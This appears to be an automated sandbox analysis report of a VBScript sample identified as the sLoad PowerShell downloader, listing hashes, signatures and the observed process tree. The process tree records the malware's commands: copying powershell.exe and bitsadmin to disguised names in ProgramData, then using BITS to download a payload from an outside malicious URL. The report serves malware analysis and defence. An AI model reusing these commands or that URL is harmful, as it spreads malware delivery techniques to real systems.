Analysis

  • max time kernel
    4294180s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    24-03-2022 23:27

General

  • Target

    5d992840fc8ab8dc4560ac6c9ba57f5e2770ecb1178956082f3848b84380950c.vbs

  • Size

    6KB

  • MD5

    d7c45aaa2ec4c379c3590e85efd3e27c

  • SHA1

    182d0dd1d7e8c4797b70550c1fa26d20e691df37

  • SHA256

    5d992840fc8ab8dc4560ac6c9ba57f5e2770ecb1178956082f3848b84380950c

  • SHA512

    b832b5d84d581d7bc9282cdcce3752d8423e0967a786c9c54601c270e9743267d57c0de68c0e5c97f51af3d1be040b341dc04f50e12c3e6700eb11282910c217

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5d992840fc8ab8dc4560ac6c9ba57f5e2770ecb1178956082f3848b84380950c.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zDygeqh.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ZAblYWB*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1644
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zDygeqh.exe
        3⤵
          PID:1100
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ZAblYWB*.exe
          3⤵
            PID:1392
        • C:\ProgramData\ZAblYWBin.exe
          "C:\ProgramData\ZAblYWBin.exe" /transfer bHfBoa /download https://waybackwhenbycynthia.com/edikaso/09518900965/map.jpg C:\Users\Admin\AppData\Roaming\map.jpg
          2⤵
          • Executes dropped EXE
          PID:1604

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\ZAblYWBin.exe

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\ZAblYWBin.exe

        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/1100-56-0x0000000000000000-mapping.dmp

      • memory/1392-57-0x0000000000000000-mapping.dmp

      • memory/1604-59-0x0000000000000000-mapping.dmp

      • memory/1604-61-0x00000000755A1000-0x00000000755A3000-memory.dmp

        Filesize

        8KB

      • memory/1616-54-0x000007FEFBCC1000-0x000007FEFBCC3000-memory.dmp

        Filesize

        8KB

      • memory/1644-55-0x0000000000000000-mapping.dmp